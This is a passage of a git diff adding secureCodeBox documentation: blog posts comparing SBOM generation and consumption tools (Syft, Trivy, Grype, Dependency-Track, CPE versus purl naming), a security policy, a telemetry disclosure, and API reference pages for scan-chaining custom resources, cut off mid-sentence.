+``` + +This looks a bit inconvenient compared to the other tools, because there are many more mandatory parameters. +Making the commandline simpler to use is a [known issue](https://github.com/microsoft/sbom-tool/issues/157). +Format support is quite limited, the SBOM tool only supports generating SPDX 2.2 reports in json format. +Not even the full output path is configurable, the SBOM file always gets created as `<ManifestDir>/_manifest/spdx_2.2/manifest.spdx.json`, where `ManifestDir` is the directory supplied with `-m`. + +On macOS, analyzing linux containers is unavailable and generated SBOMs contain no entries, other than the information about the target container and the details provided as parameters. +On Linux components are detected, but just like Tern the SBOM Tool fails to find anything but OS packages, in any of the tested containers. +The [Component Detection `README.me`](https://github.com/microsoft/component-detection#readme) clarifies, that the library is "intended to be used at build time", and while the SBOM Tool docs also seem like the tool is supposed to be used at build time, it is never explicitly stated and the [docs mention](https://github.com/microsoft/sbom-tool/blob/main/docs/sbom-tool-cli-reference.md#scan-docker-images-for-dependency-packages) the possibility of generating SBOMs only for containers. +I suspect that analyzing containers is supposed to be combined with analyzing local project files, so the only SBOM-content that needs to come from analyzing the container are the OS packages. +All the dependencies of the containerized applications will already be known from analyzing the build files. + +The SBOM Tool and the Component Detection library are both maintained by [Microsoft](https://devblogs.microsoft.com/engineering-at-microsoft/tag/sbom/) and licensed under the MIT license. +The SBOM Tool has 1.2k Stars and 89 Forks [on GitHub](https://github.com/microsoft/sbom-tool). +The documentation could be better, there are only some Markdown documents in the [docs directory](https://github.com/microsoft/sbom-tool/tree/main/docs) and the README.md file gives an overview. + +Component Detection (and with that, the SBOM Tool) [uses Syft internally to analyze Docker containers](https://github.com/microsoft/component-detection/blob/main/docs/detectors/linux.md). +Since this tool is less convenient to use than Syft, and does not work as well either (for only analyzing containers), it makes more sense to just use Syft directly then. + +#### Kubernetes bom + +[`bom`](https://github.com/kubernetes-sigs/bom) was created "to create an SBOM for the Kubernetes project", but can be used for other projects and containers as well. +There is no mention of how images are accessed, but it works without connecting to the local Docker daemon. +Other than by specifying image tags, images can also be read from tar archives. + +Example commandline: +```bash +bom generate --format json -i bkimminich/juice-shop:v15.0.0 -o results-k8sbom-juiceshop-v15-spdx.json +``` + +`bom` only generates SPDX 2.3 SBOMs, in either json or tag-value format. +As noted [in the documentation](https://kubernetes-sigs.github.io/bom/tutorials/creating_bill_of_materials/#simplest-use-case-one-package), go dependencies can be included, but no other language ecosystems are supported. +Since it was developed for Kubernetes, [it focuses on Go applications](https://github.com/kubernetes-sigs/bom/issues/256#issuecomment-1491465939). +Finding Go dependencies does not work for containers containing Go applications though, like Tern or the SBOM Tool, `bom` only finds OS packages there. +This makes the generated SBOMs not very useful for our goals. + +`bom` is maintained as a [Kubernetes SIGs](https://github.com/kubernetes-sigs) (Special Interest Groups) project. +It has 250 Stars and 31 Forks [on GitHub](https://github.com/kubernetes-sigs/bom). +The documentation is decent, other than some basic usage information in the `README.md` file, there are is a generated [documentation website](https://kubernetes-sigs.github.io/bom/) with some subpages. + +#### Others + +There are some other open source tools claiming SBOM functionality, but I did not look into them in depth for various reasons. + +The [SPDX SBOM Generator](https://github.com/opensbom-generator/spdx-sbom-generator) by [opensbom-generator](https://github.com/opensbom-generator) is developed in Go and supports many different language ecosystems. +It is not a good fit for the secureCodeBox though, because it can only generate SBOMs for build dependencies by reading package files. +It could still be used by analyzing the files contained in the container, but that solution is rather complicated and finicky compared to the tools listed above. + +There is an experimental Docker CLI plugin to create SBOMs for containers, called [`docker sbom`](https://docs.docker.com/engine/sbom/). +All it does though, is use Syft internally, which we could also directly use instead. + +The CycloneDX project also maintains an SBOM generator which supports multiple ecosystems, called [cdxgen](https://github.com/CycloneDX/cdxgen). +Internally it [uses Trivy](https://github.com/CycloneDX/cdxgen/blob/f91efd77ea296eb103e702d78eac59e05c8eaa6f/binary.js#L296) to [detect OS packages](https://github.com/CycloneDX/cdxgen/issues/38) in containers. + +Other than that there is a wide range of non-free tools, which we cannot integrate for licensing reasons. + +### Selecting a Tool + +From this list, Trivy and Syft are by far the most capable and easiest to use tools. +It is no surprise, that both are already integrated into other projects for SBOM workflows. +As mentioned above, Syft provides the functionality of the [experimental `docker sbom` command](https://docs.docker.com/engine/sbom/). +Trivy is used by GitLab for their [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) feature. + +Some of the tools listed here, including Trivy and Syft, come with catalogers for different language and package manager ecosystems. +This enables them to find packages which were not installed through the default package manager of the system. +One remaining problem are packages installed directly as binary, without any kind of package manager. +Especially in containers this is pretty prevalent for the "main software" of a container. +This is a known issue for both Trivy and Syft: [trivy#481](https://github.com/aquasecurity/trivy/issues/481), [trivy#1064](https://github.com/aquasecurity/trivy/issues/1064), [trivy#2839](https://github.com/aquasecurity/trivy/issues/2839), [syft#1197](https://github.com/anchore/syft/issues/1197), [syft#1607](https://github.com/anchore/syft/issues/1607), [syft#1963](https://github.com/anchore/syft/issues/1963). +It seems that Syft's support for those kinds of binaries is slightly better, in the Juice Shop image, only Syft detects the actual node binary. +<!-- TODO: #346 Add link to part 2 --> +Before selecting one of these two as a tool for the MVP, it makes sense to look at the other side of an SBOM workflow, the consuming side in a second upcoming blog post. diff --git a/documentation/blog/2023-09-15-sbom-part-one-consumption.md b/documentation/blog/2023-09-15-sbom-part-one-consumption.md new file mode 100644 index 0000000000..e0cf52aa99 --- /dev/null +++ b/documentation/blog/2023-09-15-sbom-part-one-consumption.md @@ -0,0 +1,213 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: 'Developing an SBOM Workflow – Part 2: SBOM Consumption' +author: Lukas Fischer +author_title: Core Developer +author_url: https://github.com/o1oo11oo +author_image_url: https://avatars.githubusercontent.com/u/1590475?v=4 +tags: + - secureCodeBox + - comparison + - SBOM + - CycloneDX + - SPDX + - Trivy + - Syft + - Dependency-Track +description: We describe our plans to build an SBOM workflow for the secureCodeBox, including an SBOM tool comparison and interoperability troubles. This part treats the aspects of consuming SBOMs. +image: /img/blog/2023-09-01-waterfall.jpg +draft: true +--- + +<!-- TODO: #346 Use another image? --> +![A burning log](/img/blog/2023-09-01-waterfall.jpg) + +This is part two of the SBOM story which covers the consuming side. If you missed part one, you can find it [here](/blog/2023/09/01/sbom-part-one-generation). + +One would assume that with a standardized format the combinations of generator and consumer are interchangeable, but as noted previously, the SBOMs still vary in content and attributes. + +## Possible SBOM Consumers and Interoperability Troubles + +Generating SBOMs is a nice first step of the workflow, but at some point you probably want to actually use them for something, and most people would prefer to use something more advanced than grep or a text editor. +There is a good amount of possible tools to work with SBOMs, both the [SPDX](https://spdx.dev/tools-community/) and the [CycloneDX website](https://cyclonedx.org/tool-center/) contain a list. +Most of the analysis tools provide license compliance, so there are not that many to work with them for vulnerability management, which is what we want to focus on for the _secureCodeBox_. + +### SBOM Consumers + +There are still multiple options for consuming SBOMs when focusing on vulnerabilities. +To integrate one of them with a hook for an SBOM workflow, a continuously running tool as a service is needed. +This list nevertheless contains some tools, that are only usable for one-off analyses. +These were used for general SBOM quality comparisons. + +#### Trivy + +Since Trivy is primarily a security scanner, it can also scan SBOMs for security vulnerabilities. +Of course generating SBOMs with Trivy just to scan them with Trivy later is not the most interesting use case, especially since the secureCodeBox [already supports Trivy scans](https://www.securecodebox.io/docs/scanners/trivy/). +It does still serve as an interesting baseline, to compare Trivy SBOM scan results to direct Trivy scans. + +When directly scanning the Juice Shop image, Trivy detects 23 issues in debian packages and 67 in node packages, some as "fixed" and some as "affected". +Scanning the Juice Shop CycloneDX SBOM returns the same 23 debian issues, but only 51 node vulnerabilities. +Comparing the lists shows that there are fewer reported vulnerabilities for the semver package. +Turns out, that the same version of semver is included multiple times throughout the dependency tree, which gets deduplicated in the produced SBOM, but counted as individual vulnerabilities for the direct scan. +Other than that the same vulnerabilities are reported. +The SPDX SBOM contains all the semver usages and reports 67 node vulnerabilities again. + +For the Syft SBOMs, Trivy reports only 8 debian vulnerabilities, all for `openssl`. +The ones for `libc6` and `libssl1.1` are not picked up. +For node 51 vulnerabilities are reported, which is interesting, because Syft does _not_ deduplicate components in its SBOMs, so the same semver versions are listed multiple times. +Trivy also warns about inaccuracies in scans of third party SBOMs, which is unfortunate, after all the point of standards is interoperability. + +#### Grype + +Compared to Trivy, Syft is only a tool to generate SBOMs, not a security scanner to gain insight from SBOMs or other sources. +Anchore offers a companion application to Syft, called [Grype](https://github.com/anchore/grype), which can then be used to scan SBOMs for vulnerabilities. +Grype can also directly scan container images. + +Scanning the same Juice Shop image with Grype directly reveals 87 security vulnerabilities. +The same is true for scanning Syft's json or CycloneDX output. +The SPDX output produces 71 vulnerabilities, the missing ones are again the deduplicated semver issue [GHSA-c2qf-rxjj-qqgw](https://github.com/advisories/GHSA-c2qf-rxjj-qqgw). +Scanning Trivy SBOMs with Grype reveals fewer issues, 56 for both the SPDX and the CycloneDX SBOM. +Other than the missing duplicated semver issue, some glibc CVEs are missing and some OpenSSL vulnerabilities are only found for OpenSSL instead of for OpenSSL and libssl both. + +If an SBOM does not contain CPEs, Grype offers to add them to improve vulnerability discovery. +For the Trivy SBOMs this did not increase the amount of vulnerabilities recognized. + +#### Dependency-Track + +The problem with both those tools is, that they are one-off invocations, consuming a single SBOM. +A continuous SBOM workflow needs a continuosly running service to accept the SBOMs, which then get analyzed regularly and can be checked for components or vulnerabilities. +[OWASP Dependency-Track](https://dependencytrack.org/) is a self hosted service that offers exactly that. +SBOMs can be uploaded through the GUI or by using the API, but only in CycloneDX format, Dependency-Track [does not support SPDX SBOMs](https://github.com/DependencyTrack/dependency-track/discussions/1222). +Support is [planned again](https://github.com/DependencyTrack/dependency-track/issues/1746) in the future, but depends on changes to the SPDX schema. +After the import, Dependency-Track analyzes them and generates lists of components and vulnerabilities. +Which vulnerabilities are recognized depends on the enabled analyzers and vulnerability sources. +By default the Docker deployment I used enabled the Internal Analyzer and the [Sonatype OSS Index](https://ossindex.sonatype.org/) as analyzers (even though [the FAQ says](https://docs.dependencytrack.org/FAQ/#i-expect-to-see-vulnerable-components-but-i-dont) OSS Index is disabled by default) and the [National Vulnerability Database (NVD)](https://nvd.nist.gov/) as data source. +The [best practices](https://docs.dependencytrack.org/best-practices/) recommend to additionally enable the [GitHub Advisory Database](https://github.com/advisories) as data source, which I did for later tests. + +For the Juice Shop SBOM, without using the GitHub Advisory Database, Dependency Track finds 35 vulnerabilities in the Trivy SBOM and 83 in the one generated by Syft. +This is a pretty big difference, which has multiple reasons. +First of all, neither [Syft](https://github.com/anchore/syft/issues/931#issuecomment-1114405673) nor [Dependency-Track](https://github.com/DependencyTrack/dependency-track/issues/2151#issuecomment-1322415056) deduplicate packages, so each occurence of semver gets a new vulnerability entry for CVE-2022-25883. +Then again, only Syft's SBOMs contain CPEs, which are needed to find and match vulnerabilities in the NVD. + +After enabling the GitHub Advisory Database, Dependency-Track reports 87 vulnerabilities for the Trivy SBOM, and 151 for Syft's. +It is not trivial to compare by which vulnerabilities this exactly differs, because they often have mutliple identifiers, which can lead to [the same vulnerability getting reported multiple times](https://github.com/DependencyTrack/dependency-track/issues/2181). +The counts of the severity categories also changed, but instead of strictly increasing there were more vulnerabilities of lower severity. + +#### Others + +As an OWASP project, Dependency-Track is a good first choice for an SBOM consumer and shows some of the problems which occur when building a complete SBOM workflow. +There are other tools with similar functionality as well, but at this point selecting the best tool is not necessary. +This is a collection of other possible tools that I did not test but which looked possibly fitting at a first glance, listed here as a reference. + +The open source community [DevOps Kung Fu Mafia](https://github.com/devops-kung-fu) develops a tool called [bomber](https://github.com/devops-kung-fu/bomber). +Judging by the description it is very similar to Trivy or Grype, but instead of shipping or building their own combined vulnerability database, bomber directly checks vulnerabilities against either [OSV](https://osv.dev/), [OSS Index](https://ossindex.sonatype.org/) or [Snyk](https://security.snyk.io/). + +The [FOSSLight Hub](https://github.com/fosslight/fosslight) lists SBOM support (SPDX only) and vulnerability management as capabilities. +Main usage and features seem to aim at license compliance though. + +The Eclipse Foundation provides the software catalogue application [SW360](https://github.com/eclipse-sw360/sw360). +It [lists](https://projects.eclipse.org/projects/technology.sw360) vulnerability management as one of its features and supports both [SPDX](https://github.com/eclipse-sw360/sw360/pull/653) and [CycloneDX](https://github.com/eclipse-sw360/sw360/pull/2015) imports. +There is currently a [discussion](https://github.com/eclipse-sw360/sw360/discussions/2040) going on about using it as an SBOM management tool. + +The [KubeClarity](https://github.com/openclarity/kubeclarity) tool by [OpenClarity](https://openclarity.io/) provides Kubernetes, container and filesystem scanning and vulnerability detection. +It uses a pluggable architecture to support multiple scanners and analyzers in a two step process with SBOMs as an intermediate product. +Currently used scanners are Trivy, Syft and Cyclonedx-gomod. +The analyzers are Trivy, Grype and Dependency-Track. + +### The Naming Problem + +As mentioned multiple times, one of the differences between Trivy's and Syft's SBOMs are the Common Package Enumerations (CPEs) that only Syft includes. +Among package urls (purls), they are a way of uniquely identifying software applications or packages, which is needed to match packages against vulnerabilities listed in a database. +While many databases already include purls as references, the National Vulnerability Database (NVD) does not. +This prevents the vulnerabilities, that are not duplicated to other databases ([like Debian's](https://github.com/DependencyTrack/dependency-track/issues/1827#issuecomment-1195181769)) to get reported. + +So if including CPEs improves vulnerability matching, why does Trivy not include them? +Because CPEs are [difficult and inconvenient to work with](https://owasp.org/blog/2022/09/13/sbom-forum-recommends-improvements-to-nvd.html). +Accurately but automatically assigning the correct CPE is not trivial, because the format includes a vendor field, which does not always match the most trivial guess. +This fits closed source software distributed by companies, but not the modern OSS environment of small packages by individual contributors. +There is an official CPE dictionary, which __should__ be used to match components to CPEs, but even with that matching the correct software is not trivial. +For redis for example, it contains among others Anynines redis (`cpe:2.3:a:anynines:redis:2.1.2:*:*:*:*:pivotal_cloud_foundry:*:*`), a product using redis, hiredis (`cpe:2.3:a:redislabs:hiredis:0.14.0:*:*:*:*:*:*:*`), a C client, and the in-memory data store most people would think of (used to be `cpe:2.3:a:pivotal_software:redis:4.0.10:*:*:*:*:*:*:*` but is now `cpe:2.3:a:redislabs:redis:4.0.10:*:*:*:*:*:*:*`). +Since CPEs are centrally managed, they are often only assigned when a vulnerability is reported, so proactively monitoring for vulnerabilities turns into a guessing game. +This describes Syft's strategy of assigning CPEs pretty well, try to generate CPEs [on a best effort basis](https://github.com/anchore/syft/issues/268#issuecomment-741829842), which of course [fails sometimes](https://github.com/DependencyTrack/dependency-track/issues/1871#issuecomment-1208980821). +For Trivy there is an [open issue](https://github.com/aquasecurity/trivy-db/issues/113) to include CPEs, but it does not specifically mention SBOMs. + +Because of these problems, [CPEs were already deprecated](https://groups.io/g/dependency-track/topic/74648781#129) by the NVD, with the intention of replacing them by Software Identification Tags (SWID) instead. +Since the migration is currently not moving along, [CycloneDX undeprecated CPEs](https://github.com/CycloneDX/specification/issues/105) again. + +Package urls are a more recent naming scheme, which makes automatic assignment a lot easier. +Most other databases either directly support them already (like [OSS Index](https://ossindex.sonatype.org/doc/coordinates) or [Google's OSV](https://github.com/google/osv.dev/issues/64)), or contain the information needed to work with them (like GitHub advisories, but [including them is debated](https://github.com/github/advisory-database/issues/10)). +The most important one that does not is the NVD, which is why there are multiple requests and proposals for purls to get added. + +This problem, that there is no unique identifier for software products that works across ecosystems, is known as the _naming problem_ among people working with SBOMs. +There are several proposals for fixing the status quo, which all boil down to "the NVD needs to use pulrs" for at least part of their solution. +The most iportant proposal is [_A Proposal to Operationalize Component Identification for Vulnerability Management_](https://owasp.org/assets/files/posts/A%20Proposal%20to%20Operationalize%20Component%20Identification%20for%20Vulnerability%20Management.pdf), released September last year by a group calling themselves the _SBOM Forum_. +In their statement, they also detail the problems of CPEs and propose using purls for identifying software, but other identifiers for hardware. +[Work is ongoing](https://tomalrichblog.blogspot.com/2023/06/dale-peterson-made-me-miss-dinner-again.html) to improve the NVD but it is a slow process. +Tom Alrich, the [founder of the SBOM Forum](https://securityboulevard.com/2023/03/making-sboms-useful/), regularly informs about updates [on his blog](https://tomalrichblog.blogspot.com/). + +### Other Problems with SBOMs + +Apart from the naming problem, SBOMs are still not the perfect solution for software composition analysis. +While SBOMs contain information about the software and version used, linux distributions often apply their own patches to the packages they distribute. +These patches regularly include backported fixes for security vulnerabilities as part of a distributions long term support commitments. +While getting this support is nice, it might lead to false positive vulnerability reports, because either the SBOM does not contain information about the specific distribution version of a package, or the vulnerability database it is matched against only contains information about fixes in the upstream version. + +As an example, [according to the NVD](https://nvd.nist.gov/vuln/detail/CVE-2022-4450), `CVE-2022-4450` affects `openssl` starting with `1.1.1` and is fixed in `1.1.1t`. +The Debian advisory though [reports](https://security-tracker.debian.org/tracker/CVE-2022-4450), that a fix has been released for `1.1.1n-0+deb11u4`, which is the version used in the Juice Shop image. +Dependency-Track still reports the vulnerability though. +This means, that for accurate reports, the security advisories of the individual distributions would need to be considered as well, which further complicates the vulnerability mapping. +Dependency-Track has an [open issue](https://github.com/DependencyTrack/dependency-track/issues/1374) about this, so this problem is known as well, but the solution is not straight forward. + +Another devil hides in the details: just because a dependency is included, this does not mean, that a vulnerability is actually exploitable through the application using it. +Depending on how deep in a dependency chain some library is included, it could range from trivial to impossible, to trigger the flaw at all. +The application or top-level library using the vulnerable dependency might not even use the affected feature. +SBOMs of course cannot judge that, they only inform about a component being present, which is the only information that consumption systems can rely on. + +A possible solution for this problem is a [Vulnerability Exploitability eXchange (VEX)](https://www.cisa.gov/sites/default/files/2023-01/VEX_Use_Cases_Aprill2022.pdf), basically a standardized security advisory. +CycloneDX supports including vulnerability information, which can be used to [build VEX](https://cyclonedx.org/capabilities/vex/). +For applications, this can only be sensibly done by the vendor though, otherwise every consumer would need to individually analyze an application. +For this reason, Tom Alrich also [argues](https://tomalrichblog.blogspot.com/2023/08/playing-pro-ball-vs-keeping-score-at.html), that it would be better for vendors to do these analyses themselves and communicate it to all their users/customers, kind of how security advisories already work, but standardized and integrated into automatic tools. + +## Related Content + +Chainguard published a [blog post](https://www.chainguard.dev/unchained/a-purl-of-wisdom-on-sboms-and-vulnerabilities) about using _purls_ in SBOMs. +It includes a description of the naming problem and an analysis of Grype as container and SBOM scanner. +The goal was to conclude how many false positives could be eliminated by including purls in the generated SBOMs. +They conclude that around 50-60% could be avoided. + +Joseph Hejderup and Henrik Plate compared different tools to generate SBOMs in a case study as part of their presentation [_In SBOMs We Trust: How Accurate, Complete, and Actionable Are They?_](https://fosdem.org/2023/schedule/event/sbom_survey/) at FOSDEM 2023. +They analyze three tools, two generic ones and one generating SBOMs at build-time, and take a more in-depth look at the details and accuracy of the generated SBOMs. +They anonymize the tools they used, but from the list of tools I found as possible options, I suspect that the two generic solutions are Trivy and Syft. + +Another comparison of SBOM generation tools is included in Shubham Girdhar's master thesis [Identification of Software Bill of Materials in Container Images](https://www.researchgate.net/publication/363196266_Identification_of_Software_Bill_of_Materials_in_Container_Images). +He compares Syft, Tern, Trivy and [Dagda](https://github.com/eliasgranderubio/dagda), which is not an SBOM tool but a security scanner. + +In their article [_A comparative study of vulnerability reporting by software composition analysis tools_](https://doi.org/10.1145/3475716.3475769) ([pdf freely available here](https://nasifimtiazohi.github.io/assets/pdf/esem21.pdf)), Imtiaz, Thorn, and Williams compare vulnerability reporting tools for software supply chain. +Instead of SBOM tools they evaluate OWASP Dependency-Check, Snyk, GitHub Dependabot, Maven Security Versions, npm audit, Eclipse Steady and three unnamed commercial tools. +Their results are very similar to my findings for SBOM workflows, the number of reported vulnerabilities varies a lot, vulnerabilities can be duplicated, and depend on the identifiers used. + +Xia et al. released [_An Empirical Study on Software Bill of Materials: Where We Stand and the Road Ahead_](https://doi.org/10.1109/ICSE48619.2023.00219) this year. +In their study, they do not compare SBOM tools, but instead interview "SBOM practitioners" to assess how SBOMs are used today and how that could be improved. +One of their findings is the immaturity of SBOM consumption tools. +Although Dependency-Track is mentioned and used a few times, respondents felt, while it was user-friendly, it was not enterprise-ready. + +Interlynk maintains an [SBOM benchmark](https://sbombenchmark.dev/). +They rank SBOMs by calculating their own [quality score](https://github.com/interlynk-io/sbomqs) for them. + +For accurately including CPEs in SBOMs, open source mappings between CPEs and purls exist. +Both [SCANOSS](https://github.com/scanoss/purl2cpe) and [nexB](https://github.com/nexB/vulnerablecode-purl2cpe) maintain a dataset. + +## Conclusions + +Generating SBOMs from containers and automatically, regularly analyzing them for vulnerabilities works, but the results are not as accurate as one would hope. +Generating SBOMs during build time rather than from containers images helps, but is not a workflow we can rely on for the _secureCodeBox_. +Some of the problems, like the naming problem, will get better in the future, but the road there is long and the schedule unclear. + +For the _secureCodeBox_, we decided to implement an MVP by using Trivy to generate CycloneDX SBOMs and sending them to Dependency-Track with a [persistence hook](https://www.securecodebox.io/docs/hooks). +Trivy is [already used](https://www.securecodebox.io/docs/scanners/trivy) in the _secureCodeBox_, which makes generating SBOMs and maintenance easier. +Syft SBOMs might be better because of their included CPEs, but they mostly matter for the OS packages of a container. +If we feel that SBOMs with CPEs are needed, and Trivy has not added that feature, we can still integrate Syft in the future. +The _secureCodeBox_ architecture prioritizes configurability and composability, so we are also looking into generating SPDX SBOMs in the future. diff --git a/documentation/docs/10-security.md b/documentation/docs/10-security.md new file mode 100644 index 0000000000..731734d548 --- /dev/null +++ b/documentation/docs/10-security.md @@ -0,0 +1,44 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +sidebar_label: Security +title: "Security Policy" +--- + +# Security Policy + +## Supported Versions +Our _release cycle_ for new features (minior [semver](https://semver.org/) update) +is roughly every two weeks (we will usually make a new release after each review). + +| Version | Security Fixes* | Supported** | +| ------- | ------------------ | ------------------ | +| 4.x.x | :white_check_mark: | :white_check_mark: | +| 3.15.x | :white_check_mark: | :white_check_mark: | +| <= 2.9.x | :x: | :x: | +| < 2.0 | :x: | :x: | + +### Major Release (Semver) +_Upcoming major updates_ will come with a time window in which both _major versions_ (starting with v2.x.x) +will receive security updates and bugfixes. The concrete support intervall will be probably a couple of months +and will be published when the next major version will be released. + +### Minor Release/Feature Releases (Semver) +We currently plan to provide support for the _latest minor [semver](https://semver.org/)_ release only. + +### Patch Release/Bugfix/Security Fix +We try to make bugfixes and high severity fixes available as patch release for the current minor release +as early as possible. + +## Extended (Enterprise) Support +If you are interested in extended support for older versions with security updates of our project +please get in touch with the project team via Slack or email <secureCodeBox@iteratec.com>. + +## Reporting a Vulnerability +You have found a vulnerability in the project that shouldn't be disclosed as public issue before it's fixed? +Please get in touch with the project team via Slack or email <secureCodeBox@iteratec.com>. + +You can expect a fast reaction within the next days. +We will keep you updated about the next steps and inform you if the vulnerability is accepted and when its fixed or if its ordeclined somehow. \ No newline at end of file diff --git a/documentation/docs/11-telemetry.md b/documentation/docs/11-telemetry.md new file mode 100644 index 0000000000..edaec04363 --- /dev/null +++ b/documentation/docs/11-telemetry.md @@ -0,0 +1,36 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +sidebar_label: Telemetry +title: "secureCodeBox Telemetry Data" +--- + +The secureCodeBox Operator collects and submits anonymized data to give the development team a vague overview on how much the secureCodeBox is actually used. + +## Datapoints Collected: + +The total number of datapoints collected is extremely small, and they are individually evaluated to ensure that the submitted data is as anonymous as possible. + +- Installed version of the secureCodeBox Operator (e.g. `v2.0.0`) +- List of installed ScanTypes across all kubernetes Namespaces: (e.g. `['nmap', 'zap-baseline']`). Unofficial ScanTypes are reported as `other`, to avoid submission of confidential data. + +## Collection Interval + +The data is submitted every 24 hours. When the Operator starts, the first data-point is submitted one hour after the start, to give users the opportunity to disable the telemetry data submission before the first datapoints are send. + +## Disabling Telemetry Data Submission + +The collection of telemetry data can be completely disabled by setting the `telemetryEnabled` to `false`, e.g: + +```bash +helm install securecodebox-operator secureCodeBox/operator --set="telemetryEnabled=false" +``` + +## Telemetry Code + +The entire code for both the telemetry backend and frontend is open-source and linked below. + +- Telemetry Client used in secureCodeBox Operator: [telemetry client](https://github.com/secureCodeBox/secureCodeBox/blob/master/operator/internal/telemetry/telemetry.go) +- Telemetry Backend: [telemetry backend](https://github.com/secureCodeBox/telemetry) diff --git a/documentation/docs/api/_category_.json b/documentation/docs/api/_category_.json new file mode 100644 index 0000000000..a08a23f3d8 --- /dev/null +++ b/documentation/docs/api/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "API Reference", + "position": 7 +} diff --git a/documentation/docs/api/crds/_category_.json b/documentation/docs/api/crds/_category_.json new file mode 100644 index 0000000000..703be9115a --- /dev/null +++ b/documentation/docs/api/crds/_category_.json @@ -0,0 +1,4 @@ +{ + "label": "Custom Resource Definitions", + "position": 1 +} diff --git a/documentation/docs/api/crds/cascading-rule.md b/documentation/docs/api/crds/cascading-rule.md new file mode 100644 index 0000000000..7a8e3b9782 --- /dev/null +++ b/documentation/docs/api/crds/cascading-rule.md @@ -0,0 +1,80 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "CascadingRule" +sidebar_position: 7 +--- + +## Specification (Spec) + +CascadingRules are Custom Resource Definitions (CRD's) used to define how scans can be started automatically based on the results of previous scans. This lets you run large exploratory scans and automatically start more in depth scans on the targets found by the initial scans. + +You can find a more concrete example on how this works in the [network scanning how-to](/docs/how-tos/scanning-networks). + +### Matches (Required) + +### Matches.AnyOf (Required) + +The `matches.anyOf` fields consists of a list of objects / hashes. +These objects are compared using a partial deep comparison, meaning that all field of the object must exactly match the finding. + +If multiple anyOf rules are specified at least one must match the finding. +If multiple rules are matching, the CascadingRule will still only create one scan. + +### ScanLabels & ScanAnnotations (Optional) + +Configures additional labels/annotations/ added to each subsequent scan (child). These labels/annotations overwrite any existing labels/annotations. You can use a simple templating scheme to gather details about the parent scan or finding (use `{{variable}}`, see example below). The following variables are available: + +- The parent [scan](/docs/api/crds/scan) (e.g. `metadata.name`). +- The related [finding](/docs/api/finding) (e.g. `category`, `attributes.hostname`). +- Custom variables (prepended with `$.`): + - `hostOrIP`: `finding.hostname || finding.ip_address` + +If you need more custom variables, please don't hesitate to [create an issue](https://github.com/secureCodeBox/secureCodeBox/issues/new?assignees=&labels=enhancement&template=feature_request.md)! + +### ScanSpec (Required) + +Contains the [spec of the scan](/docs/api/crds/scan#specification-spec) which is supposed to be started of the a finding matches the CascadingRule. + +The `scanType`, `parameters`, values specified in `env` variables, as well as the `command` and `env` of any included `initContainers`, can use [mustache](https://mustache.github.io/mustache.5.html) templates to refer to fields of the finding the CascadingRule has been applied to. The finding is passed in directly into the mustache templating call, so that fields of the findings can be directly referenced. E.g. the location can be directly referred to by: `{{location}}`. + +For convenience a helper object has been added to the mustache call under the `$` shorthand. + +This helper object has the following attributes: + +- `$.hostOrIP` returns either the hostname (if available) or the hostname of the current finding. + +## Example + +```yaml +apiVersion: "cascading.securecodebox.io/v1" +kind: CascadingRule +metadata: + name: "zap-http" + labels: + securecodebox.io/invasive: non-invasive + securecodebox.io/intensive: medium +spec: + matches: + anyOf: + - category: "Open Port" + attributes: + service: http + state: open + - category: "Open Port" + attributes: + service: https + state: open + scanLabels: + mynewlabel: {{ metadata.name }} + scanAnnotations: + defectdojo.securecodebox.io/product-name: "{{$.hostOrIP}}" + defectdojo.securecodebox.io/product-type-name: "{{metadata.labels.organization}}" + defectdojo.securecodebox.io/engagement-name: "{{metadata.name}}" + mynewannotation: "{{category}}" + scanSpec: + scanType: "zap-baseline" + parameters: ["-t", "{{attributes.service}}://{{$.hostOrIP}}"] +``` diff --git a/documentation/docs/api/crds/crds.md b/documentation/docs/api/crds/crds.md new file mode 100644 index 0000000000..ff3e6dbc21 --- /dev/null +++ b/documentation/docs/api/crds/crds.md @@ -0,0 +1,18 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "CRD Overview" +sidebar_position: 1 +--- + +In the _secureCodeBox_ we use multiple _Custom Resource Definitions_ to manage resources like Scan, ScheduledScan, ScanType etc. +The following pages will describe their specification. + +1. [Scan](/docs/api/crds/scan) +2. [ScheduledScan](/docs/api/crds/scheduled-scan) +3. [ScanType](/docs/api/crds/scan-type) +4. [ParseDefinition](/docs/api/crds/parse-definition) +5. [ScanCompletionHook](/docs/api/crds/scan-completion-hook) +6. [CascadingRule](/docs/api/crds/cascading-rule) diff --git a/documentation/docs/api/crds/parse-definition.md b/documentation/docs/api/crds/parse-definition.md new file mode 100644 index 0000000000..1c77e3639e --- /dev/null +++ b/documentation/docs/api/crds/parse-definition.md @@ -0,0 +1,106 @@ +--- +# SPDX-FileCopyrightText: the secureCodeBox authors +# +# SPDX-License-Identifier: Apache-2.0 + +title: "ParseDefinition" +sidebar_position: 5 +--- + +ParseDefinitions are Custom Resource Definitions (CRD's) used to describe to the secureCodeBox how it can convert a raw finding report (e.g. XML report from nmap) into the generic [secureCodeBox finding format](/docs/api/finding). + +ParseDefinitions are generally packaged together with a [ScanType](/docs/api/crds/scan-type/). +A scanType will reference the **name** of a _ParseDefinition_ via the [extractResults.type field](/docs/api/crds/scan-type#extractresultstype-required). + +## Specification (Spec) + +### Image (Required) + +`image` is the reference to the parser container image which can transform the raw scan report into findings. + +To see how to write parsers and package them into images, check out the [documentation page on integrating new scanners](/docs/contributing/integrating-a-scanner). + +### ImagePullSecrets (Optional) + +`imagePullSecrets` can be used to integrate private parser images. +This uses the kubernetes default [imagePullSecrets structure](https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/). + +### TTLSecondsAfterFinished (Optional) + +`ttlSecondsAfterFinished` can be used to automatically delete the completed Kubernetes job used to run the parser. +This sets the `ttlSecondsAfterFinished` field on the created job. This requires your cluster to have the [TTLAfterFinished](https://kubernetes.io/docs/concepts/workloads/controllers/ttlafterfinished/) feature gate enabled in your cluster. + +### ScopeLimiterAliases (Optional) + +`scopeLimiterAliases` can be used in combination with `scopeLimiter` to 